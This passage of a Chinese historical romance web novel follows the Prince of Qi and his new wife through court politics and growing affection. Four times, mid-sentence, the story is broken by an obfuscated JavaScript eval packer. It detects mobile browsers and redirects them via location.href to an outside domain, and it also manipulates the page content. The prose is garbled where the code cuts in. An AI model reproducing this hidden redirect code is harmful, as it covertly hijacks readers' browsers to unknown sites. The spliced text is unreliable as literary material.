谢怀雵轻轻按了按她的颈侧:“那夫人什么时候愿意让这种‘误会’变成真的呢?” “都说了要看你表现……”姜同云被他说话的气息弄得耳垂发痒,又因为脖子疼不能闪躲,只好轻轻推了他一把,“你别贴这么近说话。” 打从刚刚谢怀雵抱她开始,她的心里就一直奇奇怪怪的。起初像是被高高地悬了起来,完全没有着落的地方;后来又像是被山间晨风卷走吹了起来,高高低低地在天上飘荡;最后被稳稳地埋进了春日湿润的土地里。 现在这样靠着谢怀雵,她的心又开始疯狂地抽根发芽。谢怀雵每说一个字,她的心上就会跟着开出一朵小花来。 这太不对劲了!说好还要看他表现,自己可不能这么快就沦陷了。 “好好好。”谢怀雵退了一点,“等会我先用药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788444|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒给你揉开,这样才能好得快一些。” “不用你,我有木樨呢。”姜同云现在恨不得离谢怀雵越远越好,以免心里噗噗往外冒的小粉花被他发现。 正好木樨就端着东西回来了。 姜同云刚想让木樨来接替谢怀雵的位置,不料木樨却把托盘放到了一旁的矮几上,还把药酒拧开递给了谢怀雵:“殿下,给。” 谢怀雵从善如流,接过瓶子,倒了一点在掌心。搓热药酒后,他用手掌覆住姜同云脖颈处红肿的地方:“忍一忍,可能会有些疼。” 说着,他就用合适的力道揉按起来。 刚按下去的时候,姜同云还因为疼痛忍不住“嘶”了一声。但随着扭伤的地方被揉开,原本一直僵硬生疼的脖子也变得松快起来。 等到确认她能重新转动脖子,谢怀雵才停了手:“把膏药贴上。” “不用了吧。”姜同云有些抗拒,“臭臭的,还不好看。” 谢怀雵语气坚定:“贴上。你昨天就觉得脖子不舒服,今天又扭了一下。贴了这个才好得快。” 姜同云拗不过他,只能乖乖贴了膏药。 木樨在边上看得心里偷乐:好啊。除了老爷子,终于又有个人能治住姑娘了! 处理完脖子上的扭伤后,木樨给姜同云重新梳了头发。 用过一餐早饭,一行人终于准备启程返回金陵。 来时坐了两架马车。这回上车前,谢怀雵特意来问姜同云要不要和自己一起坐。 姜同云生怕他趁着两人独处的机会又要做些犯规的事,连忙摆手道:“我还是跟木樨坐。” 谢怀雵遗憾地叹了口气:“好吧。” 见他没有坚持,姜同云不禁松了口气。 然而等她上了车才发现,跟木樨坐也没找到哪里去! 马车一出发,木樨就一把按住了姜同云的双手:“姑娘!” 姜同云被她吓得一个哆嗦:“怎、怎么了?” 木樨双目炯炯地盯着姜同云:“姑娘是不是有事瞒着我?” 被她这么一问,姜同云不由心虚地移开了眼:“啊?有、有吗?” “一定有!否则您早上为什么是被齐王抱回来的?” “那不是因为我扭到脖子了嘛……” 木樨才没那么容易被忽悠:“只是扭到脖子,又不是走不了路!你们之间一定发生了什么事!还有成亲第二天,姑娘也是跟齐王说了话后就莫名其妙地跑掉了。” 回想这些天齐王处处妥帖的对待方式,还有姜同云好几次的奇怪表现,木樨越说越有底气,直接把自己心里的猜测小声问了出来:“齐王是不是……喜欢姑娘?” 姜同云脸上一红。 看她这个表现,木樨哪里还猜不到!她兴奋地问道:“他是不是借着早上看日出的机会,跟姑娘表明心迹了?” 姜同云招架不住,只能点头确认。 木樨觉得自己简直慧眼如炬!她高兴地一拍手掌:“太好啦!齐王人挺不错的,对姑娘的事情也都特别上心,往后一定会好好对您的。” 木樨夸了齐王两句,又笑着问道:“那姑娘呢?您喜不喜欢他啊?” 听到这个问题,姜同云心里泛滥的小粉花终于抑制不住,喷涌而出。 其实是喜欢的。 在祭拜的时候,在归宁的时候,在成婚那晚他哄自己睡觉的时候,在他生辰送自己宫灯的时候,甚至可能在更早之前。 姜同云就已经不知不觉地动过心了。 她捂住了自己通红的脸。 46. 夜话 那天看完日出回来后,姜同云和谢怀雵就仿佛达成了默契。 姜同云不再刻意躲着谢怀雵,谢怀雵也有意识地给她保留更多的私人空间,两人进入了一种比较和谐的相处状态。 四月初,宫中为姜同云举行了册封亲王妃的仪典。 至奉先殿内告完礼后,姜同云的名字被正式写入皇室玉牒,她这齐王妃的身份才算真真正正地落实。 好不容易结束了这忙碌的一天,姜同云回到齐王府后累得都快直接晕过去了。 木樨替她拆掉花钗发髻:“您这次怎么在宫里待了这么久啊?” 姜同云瘫在圈椅上,有气无力地说道:“上回拜谒过帝后就回来了,这次还得跟皇子公主们客套。客套完,皇后娘娘又带我去了椒房殿,和宫里几位高位妃嫔,还有太子妃、吴王妃聊了会儿天。” 这一整套的交际流程走下来,可不得花去一整天的时间? 要不是这会儿其他亲王妃、郡王妃都在封地没入京,只怕今天的椒房殿里要更热闹呢。 而且在椒房殿里的时候,还有一位说话一直夹枪带棒、阴阳怪气的孙贤妃了。 要不是邓皇后、太子妃还有谢含昭她们一直在帮姜同云说话解围,姜同云今天回来搞不好连说话的力气都没了。 本来穿着全套王妃行头就累,还要应付这些麻烦的人际关心,姜同云只觉得身心俱疲。 她揉按着发酸的眉心:“王妃这行可真不好干。” 木樨忍着笑替她把头发全部绾起:“我拿药酒过来给姑娘按摩一下脖子吧,免得又像上次那样扭到了。” “能不能别提那事了。”姜同云斜了木樨一眼,“你家姑娘丢人,你不也跟着没面子吗?” 木樨吐了吐舌头:“那您要不要按摩嘛?” “……要。” 虽然药酒的味道不好闻,但姜同云的脖子确实酸得不行。为了不让自己今晚睡落枕,姜同云还是决定老实一点。 木樨帮她换了身宽松舒适的衣裳后,就出门去找药酒了。 谢怀雵就在这时走了进来。 他站在隔门处,笼着手笑吟吟地看向坐在梳妆台前的姜同云:“今日累到了吧。” 姜同云连忙拢好衣襟:“你怎么过来了?” “今日是你正式册封的好日子。于情于理,我都不该让王妃独守空房。”谢怀雵笑着低声说道,“所以提前过来问问,今晚我是睡软榻呢,还是打地铺?” 姜同云被他说得有些羞恼,随手拿起梳妆台上的犀角梳就朝他扔了过去:“说什么呢!我有木樨陪着,你才独守空房。” 谢怀雵精准地接住梳子,步入内室:“好,是我形单影只。那夫人能不能发发善心,收留可怜的我一晚?” “……要来就来呗。”姜同云扭过头不去看他,小声回答道。 谢怀雵将手中梳子放回妆台:“听说今天孙贤妃在皇后宫里刁难你了?” “也算不上刁难吧。”姜同云按着后脖子转了转脑袋,以此来缓解酸胀感,“她估计还记着去年我们联手骗她儿子的事呢。一上来就阴阳怪气的,说我手段高明,先后把含昭跟你都拿下了。” “那她说的可是实话。”谢怀雵抬手搭上她的肩膀,“我给你按一按吧。” “你还会按摩?”姜同云明显不信。 “先前在军中,各种杂七杂八的东西基本都学过一点。”谢怀雵轻轻笑了一下,“而且你说要看我表现,那总得给我表现得机会吧。” “好吧,那你试试。”姜同云松开了捂着脖子的手。 谢怀雵捏着她的肩膀揉按起来。 不得不说,他还确实是会的。而且谢怀雵的力气更大,按起来比木樨平时给她揉的那两下舒服多了。 姜同云重新靠在椅背上,满意地叹了口气:“看在你按摩手法还不错的份上,给你把今天扣掉的分加回来。” 谢怀雵手上一顿,觉得自己有些冤枉:“我今天做什么了?怎么好好的给我扣了分?” “还说呢。”姜同云对着镜子撇了撇嘴,“要不是做了这个齐王妃,我今天也不用受这么多累。” “这……倒还真是我的不是。”谢怀雵无奈地承认了错误。 姜同云憋着笑拍了拍他的手:“那你还不快点按?按不好再给你扣分。” 谢怀雵又继续揉按起来:“你要是觉得辛苦,不想参加这么多的交际场合,那等今年过了年,我向陛下上书,带着你回封地去吧。” “封地?”姜同云这才想起来,是还有这么一茬。 越朝的亲王郡王们不仅享有食邑,而且还有实打实的封地。 按理来说,皇子们成年受封后,就应当马上去自己的封地,无诏不得回京。 但太宗朝最后几年着实是不太平。原本的太子因病暴毙,诸多已经受封离京的皇子就都开始蠢蠢欲动。甚至先帝登基之后,还有不服的于他的亲王在封地联手搞事,起兵谋反。 先帝把自己的兄弟手足杀得七七八八,等他自己的几个儿子成年后,他又开始对着儿子们小心起来。 为了防止儿子们动小心思,先帝将成年的皇子全部扣在金陵,各自领着一些差事。直到他病笃弥留,才下旨让除了储君之外的其余儿子离京就藩。 陛下登基之后也延续了先帝的做法。吴王和赵王受封已有数年,如今也都老老实实地待在金陵,领着些不太要紧的差事做。 但谢怀雵作为陛下的侄子,按理来说本不该在留驻金陵之列。 相当这里,姜同云扭过头去看身后的谢怀雵:“对哦,你又不是皇子,为什么一直留在金陵?” 谢怀雵沉吟片刻:“嗯……可能是为了方便我娶到夫人你?” “跟你说正经的呢!”姜同云嗔笑着锤了他一下。 谢怀雵顺势将她的手包在掌心:“这可就说来话长了。” “那你就慢慢说呗。” 姜同云刚想再催两句,木樨拿着药酒回来了。 谢怀雵捏了捏她的手,低声道:“晚上吧。晚上我再慢慢说给你听。” 猜到这中间或许有什么秘辛,姜同云也没再追问。 但记挂着这件事,姜同云心里抓心挠肝的,对别的事完全提不起劲来。晚上一洗漱完,她就挥退了侍女们:“你们灭了灯就退下吧。” 等侍女们离开,躺在被窝里的姜同云连忙对着还坐在榻上喝茶的谢怀雵拍了拍床沿:“你快拿上靠枕过来!” 谢怀雵失笑:“夫人这么着急的吗?” “我都等这么久了!”姜同云理所应当地应了一句,看着谢怀雵脸上揶揄的笑容,突然反应过来,“谁急——哎呀,你不许想奇怪的事情!” 谢怀雵摆出一副无辜的模样:“什么奇怪的事情?难道夫人不是在说下午没说完的事吗?” 姜同云看着他故作懵懂的表情,恼地直接往被子里一缩,恨恨道:“烦人!” 谢怀雵见好就收,拿上软榻上的靠枕走到床边。 侍女已经将被褥铺好。谢怀雵把靠枕放到两人中间,就这床头留下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794797|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那点烛火,掀开被子躺到床上。 “下午说到哪了?” 姜同云冷哼一声,抱着被子转过身去,只给谢怀雵留了个后脑勺。 谢怀雵笑着拍了拍卷成一团的蚕蛹宝宝:“是我错了。” 姜同云把脸埋在被子里,闷声问道:“错哪了?” “是我心思龌龊,还以小人之心度夫人之腹。”谢怀雵单手支着头,又拍了拍杯子团,“我保证不会再犯,夫人就原谅我这一回吧。” 姜同云又“哼”了一声,才慢慢掀开被子转了回来:“快说事情!” 谢怀雵脸上的笑意淡了些。 “我不知道,你有没有听家中长辈提起过先帝在时的一些事情。”他的手不自觉地抚拍起姜同云,就像成婚那天哄她睡觉时那样,“先帝虽然是个文治武功样样都能拿得出手的好皇帝,但他确实不是一个好父亲。” 经历了艰难夺嫡才登上皇位后,先帝对自己为数不多的几个儿子一向提防得很紧。 虽然他早早地就把皇后所出的嫡长子,也就是当今陛下立为储君,但他对这个太子也并不是非常满意,总觉得太子的才能有所欠缺。当年把其余封王的皇子留在金陵,也未尝没有想考察一番的意思。 谢怀雵的父亲,已故的上代齐王,就是最得先帝重用的儿子。先帝晚年时,齐王曾数次带兵出征,次次都得胜而回。他在朝堂军营的名望甚至一时盖过了当年的太子。 更要命的是,谢怀雵的父亲和当今陛下是一母同胞,同为皇后所出。尽管不是嫡长,但到底也占了一个中宫所出的身份。 当时许多人都怀疑,先帝是动过易储的念头的。 不过没还等他考虑清楚,他的身体就先撑不住了。 当时的太子已有子女,而齐王因多年在外征战,虽成亲数年,却一直没有子嗣。 为了朝堂稳固,也因自己子嗣实在单薄,先帝最终还是选择了收回齐王的兵权,打发儿子们去了封地,替太子铺路。 今上对先帝这些行为抱着什么样的想法,旁人不得而知。但从他登基之初,面对北面晋朝来犯时,扛到接连失地以致民情激愤后才不情不愿地重新启用齐王掌兵来看,陛下心里对自己这个弟弟也不是没有怨愤和防备的。 齐王重新领兵后,当时刚刚怀孕的齐王妃就被陛下派人接到了金陵。名为照料,实则为质。 后来谢怀雵的父亲战死于沙场之上。陛下痛哭不止,罢朝三日,又给他追封了许多的勋职虚衔以示尊荣,还发誓要替自己弟弟照养唯一的遗孤,也就是当时还不足一岁的谢怀雵。 “我长大一些后,母亲曾数次上表请陛下允许我们母子回封地去,但都被陛下拒绝了。” 谢怀雵的手停了下来:“母亲过世之后,我又被接到宫里养了几年。后来我觉得金陵无聊,就一个人偷偷跑去了边境投军。还是皇后娘娘托梁国公寄信给邢国公,把我从军营里抓了回去。” “之后我就跟在邢国公身边学习兵法战术,也跟着上了几回战场,运气不错,倒也都赢了。” “打完最后一场仗后,我受了些伤。陛下知道后就派人把我接回了金陵,一直留到现在。” 从他开始讲述时,姜同云的心就吊了起来,一路随着往事高低起伏。听到这里,她紧张地揪住了谢怀雵的衣襟:“坏了!” 谢怀雵垂头看向姜同云,重新露出了温和的笑容:“哪里坏了?” “陛下本来就猜忌你父亲,现在你又有军功在身,他会不会也猜忌你,不肯放你回去啊?” 47. 区别 谢怀雵定定地看着被自己半抱着圈在怀里的姜同云。 刚刚听故事的时候她就不知不觉地往谢怀雵那边凑。现在更是已经完全贴在谢怀雵地身边。她的脸距离自己的胸膛实在太近,隔着衣服都能感受到她温热的呼吸。 她是个聪明的姑娘。 谢怀雵对这点一直都没有怀疑。 现在听她点破陛下的心思,谢怀雵露出了赞许的笑容:“你说得很对,之前确实是这样。但你放心,最晚到明年,他一定会愿意让我们走的。” 姜同云半信半疑:“真的假的?” 谢怀雵抬手将一缕贴在她脸上的头发别回她的耳后:“真的。我到底只是他的侄子,即使有军功在身,对他的威胁也非常有限。更何况我这些年来一直……身体不好,他也该对我放心了。” “比起我,陛下现在更担心的,应该是太子,或者说是太子身后的梁国公府。” 姜同云的脑瓜子开始飞速运转:“忌惮梁国公府?不对,陛下如今春秋鼎盛、说一不二,无论如何也不该忌惮臣子。” 谢怀雵没有说话,只是静静地看着姜同云,等待她思考出一个结果来。 姜同云又垂眸思索片刻,脑中突然灵光一闪:“莫非陛下觉得,太子将来会过分倚重梁国公府,以至于被臣子摆布?” 谢怀雵笑了:“夫人真聪明。” “陛下和太子都没有真正地领过兵打过仗,处理军务时只能依靠过往经验以及朝臣们的出谋划策。目前尚在金陵的诸位重臣中,若论对军务的熟知程度,恐怕无人能出梁国公其右。” “陛下主意正,且现今威势赫赫,自然有信心用好梁国公。可太子性情柔善,对待朝上臣工一向礼遇有加,对梁国公这个亲舅舅更是信赖非常。陛下自己当年是吃过受臣子掣肘的苦的,所以他担心将来太子登基后被臣下欺瞒,也是情有可原。” “陛下这些年宠爱孙贤妃和赵王,多少也有捧赵王跟太子相争,磨砺太子性情的意图。可他越是这样做,太子就越倚重梁国公以求巩固自己的地位。如此下去……” “简直就是恶性循环。”姜同云点评道。 “夫人用词精准。”谢怀雵叹了口气,“只是当局者迷。陛下的这点心思,我们能看清,但皇后娘娘、太子,还有梁国公,他们这些身在局中的人一直都看不明白。” 更惨的是,梁国公本人也根本就没有这么大的野心。他还真就抱着为君分忧的赤诚之心在干活。所以他们想破脑袋也想不出,陛下居然会猜忌这种没影的事情。 姜同云也跟着叹了口气:“那太子也真是挺惨的。” 怪不得有人说当太子比当皇帝都难。这天家父子之间相处的分寸感,真是太难把握了。 “陛下这些年非要把我留在金陵,除了要拿着我彰显他的仁德恩宠以外,其实也是想借我制衡梁国公一二。” “我至少亲身经历过边境诸事,也带兵打过几场胜仗。推我出来分担军务可以说是名正言顺,正好可以分走梁国公手里的职权。”谢怀雵捻起姜同云一缕长发,绕在指尖,“不过过了今年,陛下就有更合适的人选了。” 姜同云想了一圈,才在角落里找出一个看起来非常离谱的答案:“……赵王啊?” “对。” 她脸上露出了嫌弃的表情:“他合适在哪?” 谢怀雵忍俊不禁:“他……在习武方面还是挺有些天赋的,骑射功夫练得不错。” “那也没法跟你比啊。”姜同云撇了撇嘴,“别说领兵上前线了,他连边境都没去过吧!” “夫人这样夸我,为夫都要骄傲自满了。” 姜同云戳了两下谢怀雵的胸口:“说正经事的时候不许——” “不许什么?”谢怀雵抓住她的手指,低声问道。 “反正不许这样!”姜同云一把抽回手来,“你还说不说赵王了?不说我就睡了。” “说说说。”谢怀雵连忙揽住她,以防她又卷被潜跑。 “赵王怎么说也是陛下的亲儿子。孙贤妃是广宁侯之女,虽然她家传到这一代已经降为伯爵,她的兄弟们也都不是什么很有能力的人,但到底都还担着军职,现任广宁伯还带过兵剿过匪。” “余下的几位皇子中,吴王母族式微,六、七两位皇子年纪尚幼,赵王还真就是最合适的那个人选。” “陛下今年已经在张罗着给赵王选王妃了。等他成了亲,陛下自然就更有理由分派差事给他。”谢怀雵顿了顿,“我猜测,陛下会先让他去自己手底下的亲卫队伍里历练。要么是南衙十六卫,要么是北衙禁军。” “这样将来太子想要收回权力也不是难事。” 这么听来,赵王这种一次性的磨刀石也挺惨的。 皇帝的儿子是真的都不好当啊。 想到这儿,姜同云摸着下巴:“你说,赵王知道陛下是在拿他磨砺太子的吗?” 谢怀雵摇了摇头:“他肯定只会觉得,相比较太子而言,陛下更喜欢他一些。” 闻听此言,姜同云忍不住笑出了声:别说,就赵王那个性格,他八成真会这么认为! 埋着头笑了一阵,姜同云抬头看向谢怀雵:“那这么说,只要熬过了今年,咱们就可以离开金陵了?” 谢怀雵看着她满怀期待的眼眸,认真地点了点头:“对。” “我这些年来一直都不太上进。陛下交办的差事我会做,但从不依照他的暗示跟梁国公对立争权。陛下应该早就觉得我软弱不好用了。有了赵王,再留我也没什么意义,所以他一定不会反对的。” “这样也挺好。”姜同云晃了晃脑袋,“陛下认为自己是在制衡梁国公,但我总觉得他将来很有可能是要玩脱的。” “就赵王那个性格,人家不搭理他他都要找点存在感的。再被陛下这么一捧,怕是更要野心膨胀了。到时候他跟太子争起来,咱们难免会被卷入其中,还是早点跑路,远离纷争为好。” 谢怀雵颔首表示认可:“我俩想到一块去了。” “太子性格仁善。将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799211|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来他登基后,只要不犯什么事,他就不会苛待我们。与其现在搅和进他们父子的这摊子事里,去争那点没大用的从龙之功,不如早早抽身,回封地逍遥快活去。” “那就这样说定了,最迟明年,你就得去提这件事了!” 见谢怀雵点头应允,姜同云心里终于卸下一块重石。 担忧退去后,她又开始觉得有些难过起来:“去封地的话,别的都好,就是以后见不到含昭了。” 人都躺在自己怀里了,她居然还想着别人。即使那个人是自己的堂妹,谢怀雵都有些吃味:“有我陪着夫人还不够吗?” 姜同云以为他又是故意说这种话:“含昭贴心可爱、招人喜欢,我当然舍不得她了。” 谢怀雵闻言,心里更酸了:“所以夫人是觉得我没有含昭好,更喜欢含昭一些咯?” 姜同云终于觉得这人说话语气不太对劲。她向后仰了一下,仔仔细细地打量了一遍谢怀雵:“您今年是二十二岁,不是二岁吧!” 谢怀雵垮着嘴角,笑都笑不出来了。 看着他委屈的表情,姜同云心里像是被什么顶了一下。 “你是你,含昭是含昭。”她伸出两根食指,顶在谢怀雵唇边,将他的嘴角强行抬起,“你们俩又不一样。” 谢怀雵将她的手拢在掌心,不依不饶地问道:“哪里不一样?” 姜同云的手缩了缩,可惜没能挣开他。犹豫了一会儿,她闭上眼决定破罐破摔:“含昭又不能跟我成亲,跟我躺在一张床上哄我睡觉。我喜欢含昭是把她当妹妹。” 谢怀雵愣住了。 巨大的喜悦猛然攫住了他的心脏。 他看着紧闭双眼、神色慌乱的姜同云,跳动的烛火映照在她白皙的脸上,衬得她脸颊上的那抹绯色动人非常。 谢怀雵抓着姜同云的手,轻轻贴在自己脸上。 他哑着嗓子问道:“那你喜欢我,是把我当成什么人?” 姜同云的心跳因为这句话漏了好几拍。 她不敢睁开眼睛,强行抽回自己的手后,拉着被子往下一缩,十分没有底气地说道:“我要睡觉了。” 谢怀雵并不满意这个回答。 他迫切地想要得到一个确切的答复,于是掀开了被子,想要把姜同云拉到自己这儿来。 无情的长靠枕阻止了他的动作。 感觉到摆在两人中间的靠枕被挤了一下,姜同云偷笑了一下。 谢怀雵捕捉到了她的笑声,可怜巴巴地问道:“我能不能把这玩意儿拿掉?” “不行!”姜同云义正言辞的拒绝了他的诉求,“你要么老实躺着,要么带着靠枕一起去软榻上睡。” 谢怀雵没有放弃:“你刚刚还说我能哄你睡觉呢。离这么远我发挥不好。” 姜同云心硬如铁,抱着被子翻了个身,只留给谢怀雵一个后脑勺:“我今天不用你哄了。” 谢怀雵被噎了一下。他无奈地长叹一声:“好吧。” 烛火熄灭,夜色四合。 48. 就这 端午当日,姜同云又入宫去了。 这一次,她是以齐王妃的身份去参加宫宴的。 命妇们被安排在曲台殿的东配殿内参宴,主持宴席的是邓皇后。太子妃坐在邓皇后右手下侧,其余亲王妃按照宗室内辈分顺序一字排开,公主们则坐在王妃对面。 再往下就是以两位国夫人为首的外命妇了。 酒过三巡,参赛的队伍都已经就位。 邓皇后携太子妃往正殿后的大平台上观赛,一部分爱凑热闹的公主和命妇们也跟着一起过去了。 殿里的氛围顿时一松。 上头没人压着,坐在姜同云身边的吴王妃立刻活络起来。 “快把窗户打开,咱们过去看比赛!” 谢含昭正坐在姜同云身边和她聊天,听吴王妃这么说,小姑娘转过头去:“三嫂要看比赛,怎么不跟着母后还有大嫂一起过去那边呢?” 吴王妃摆了摆手:“你小姑娘家家的不懂。那边人多,要分心注意好多事情,怎么能专心致志地欣赏比赛呢!” 说着,她朝姜同云露出了一个心照不宣的笑容:“齐王妃要不要过去一起呀?” “欣赏”。 姜同云几乎立刻就明白了她的意思。 感情这是要去看人的。 她脸上一红,连忙道:“我就在这儿看吧。” “随你。”吴王妃也不勉强,自己往窗户边上去了。 好在谢含昭没听懂她三嫂话里隐藏的意思,没有过多追问。 “姜姐姐,我听母后说,父皇已经给赵王选好了王妃,是淮阳侯最小的孙女。”见周围人都过去看比赛了,谢含昭贴在姜同云耳边说起了悄悄话。 姜同云回忆了一下先前梁国夫人给自己介绍过的金陵各府大致情况。 淮阳侯府也是开国功臣,是太|祖皇帝亲封的四公六侯十二伯之一。越朝传至如今已历四朝,这些开国功臣也因各种各样的事情有所折损。如今四大国公只余两位,六位侯爵也只存了三家。现今的这位淮阳侯和邢国公同辈,论资排辈,还能压上另外两家世袭侯府一头。 这位淮阳侯也是上过战场的,家中子侄也有人领着兵权。看来谢怀雵猜的没错,陛下真是有意要捧赵王来制衡梁国公府,一个广宁伯不够分量,就再给他加个淮阳侯。 姜同云想到邓皇后和梁国夫人这两位多次帮过自己的长辈,心里不免叹了口气:“皇后娘娘她……觉得这门亲事如何?” 谢含昭托着下巴,有些闷闷不乐:“母后似乎不太高兴。但是父皇都定好了,她也没多说什么。母后最近已经开始忙着张罗他们成亲的事情了。” 姜同云吃了一惊:“这么着急?” 陛下选好赵王妃的消息都还没传出来呢,想来作出决定也就是这几日的事。怎么这会儿皇后娘娘就已经在准备了? “听说是淮阳侯年纪大了,身体有些不大好。父皇怕出点什么事耽误了,所以想尽快把婚事办完。” 谢含昭说着,叹了口气:“母后最近也总觉得身子不适。太医来诊过两回,说要好好休息。可一边要准备赵王的婚事,另一边,六哥也马上要成年封王了。这一忙起来,哪里有功夫给她休息呀。” 姜同云摸了摸她的头:“那含昭要想办法帮皇后娘娘分担一下。” 谢含昭想了想:“其实最近母后已经把一些事情分给大嫂帮忙了。不过大嫂她毕竟长住东宫,后宫里的事情不太好管。等我回去问问母后,看看能不能帮着她处理一些。” 姜同云笑着点了点头。 说话间,那头的吴王妃招呼了起来:“快来快来。” 姜同云二人转过头去。 龙舟赛即将开始,窗户那边的命妇们已经在开盘赌斗了。 吴王妃见她俩没动,主动跑过来拉起二人:“你俩也来凑凑热闹呗!” 眼看周围气氛热烈,姜同云也不好冷场,就笑着问道:“吴王妃押了哪支队伍?” 吴王妃从自己头上拔下一支金簪,放到桌上:“我押十六卫赢!” 姜同云想了想,去年拿下头名的好像就是十六卫。 见命妇们都取了一样首饰做赌注,姜同云也在头上摸了一枚金钿子下来:“我也不懂这些,就跟着吴王妃押好了。” “有眼光!”吴王妃对着姜同云挤了挤眼睛,小声道:“我刚刚看过了。十六卫今年选出来的都是十七八岁的年轻人,看他们那胳膊都比别的队伍结实,肯定有劲!不像宗室和勋贵队伍,一个个跟小鸡崽子似的。” 姜同云拿钿子的手都抖了一下。 原来您是这么选的啊! 但话都说出去了,她只能强作镇定地把钿子放到了桌上。 吴王妃又看向谢含昭:“五公主要押哪个?” 谢含昭刚才一直在和姜同云讲话,也没看过今年的参赛队伍。她从腰间荷包里摸出一只打成锦鲤的金锞子来:“我也跟着三嫂押好了。” 吴王妃笑着拍了下手:“五公主也有眼光!” 姜同云生怕吴王妃对着谢含昭也说些什么“胳膊结实”、“小鸡崽子”之类的话,连忙拉了她一把:“咱们坐下来看吧。” 不多时,众人下注完毕,比赛也很快开始。 船一发动,吴王妃就跳了起来,扑在窗边为自己押注的选手们鼓劲。有她带头,命妇们也跟着分别呼喊起来。 护城河两岸的气氛一时热烈至极。 可惜,吴王妃今天的运气可能不是太好。在喧闹的锣鼓声和众人呐喊加油的声音里,禁军队伍拿下了今年的头名。 眼看十六卫只比禁军慢了一点点,就与冠军之位失之交臂,吴王妃遗憾地长叹一声,顿足道:“哎哟,我的簪子哦!” 谢含昭捂着嘴笑了:“回去让三哥再给三嫂买一支呗。” 吴王妃兴致缺缺地坐了回来:“就你三哥那个小气鬼,他才舍不得买呢。” 姜同云笑着安抚道:“那咱们回头自己去买。正好买个新的样式。” 吴王妃想了想,觉得姜同云说的很有道理,又高兴起来:“也是。” 宫宴散后,姜同云坐上回府的马车。 马车一动,她就拉着坐在对面的谢怀雵小声说道:“今日含昭告诉我,说陛下已经定了,要让淮阳侯的孙女做赵王妃。” 谢怀雵照例给她塞了一只靠枕:“这是在给赵王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804308|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提前铺路呢,到也不奇怪。” 姜同云叹了口气:“就是辛苦了皇后娘娘。听含昭说,她最近有些身体不适。但要准备赵王的婚事,都没法好好休息。” 谢怀雵想了想:“要是你想,得空可以去宫里坐坐,陪陪她。我觉得皇后娘娘挺喜欢你的,你要是能去,她一定会高兴的。” 姜同云点了点头:“嗯,那我过两日再去吧。” 说完了赵王的事,谢怀雵又问起她来:“今天怎样,累不累?” “不累。我跟着她们赌了一回,倒还挺好玩的。”姜同云往后一靠,舒舒服服地出了口气,“就是可惜没押赢,输了枚钿子。” 谢怀雵笑着问道:“你押了哪支队伍?十六卫?” “是呀。”姜同云点了点头,“去年好像就是他们赢的吧。吴王妃还说——” 不对,吴王妃说的话可不能讲给谢怀雵听。 这人连含昭的醋都吃,要是给他听到那句关于胳膊的评价,指不定又要垮下脸来。 姜同云连忙把后半截话咽了回去。 谢怀雵却被勾起了好奇心:“吴王妃说什么了?” 姜同云含含糊糊地回答道:“就说他们看起来赢面大呗。” 谢怀雵挑了挑眉:“是吗?” 见他没被敷衍过去,姜同云连忙转移话题。她指着自己的脸问道:“这都大半天了,你快帮我看看,我的妆花没花。” 谢怀雵凑上前去细细看了一番:“口脂好像掉了些。” “是吗?”姜同云下意识舔了下嘴唇,“可能是刚刚吃东西的时候蹭掉了。” 谢怀雵看着她的动作,不自觉地捏起了手指:“……早上看夫人梳妆的时候我就在想了。” “夫人用的口脂看起来似乎很甜的样子。” 姜同云的心跳乱了一下。 但可能是今天被比赛时的热烈氛围影响到,也有可能是听了吴王妃那番大胆的点评后胆子见长,姜同云心里突然涌上一个想法。 凭什么自己每次都要被这个人撩得面红耳赤? 怎么说她也是在信息爆炸的时代生活过的,没吃过也见过不少了,不能老被谢怀雵一个古代人占据上风吧。 今天势必要扳回一城! 想到这里,姜同云定了定神,佯装淡定地反问道:“是挺甜的,你要尝尝看吗?” 谢怀雵愣了。 姜同云刚有些得意于谢怀雵的反应,不料对面的男人突然欺身上前,托起她的下巴,轻轻地吻上了她的唇瓣。 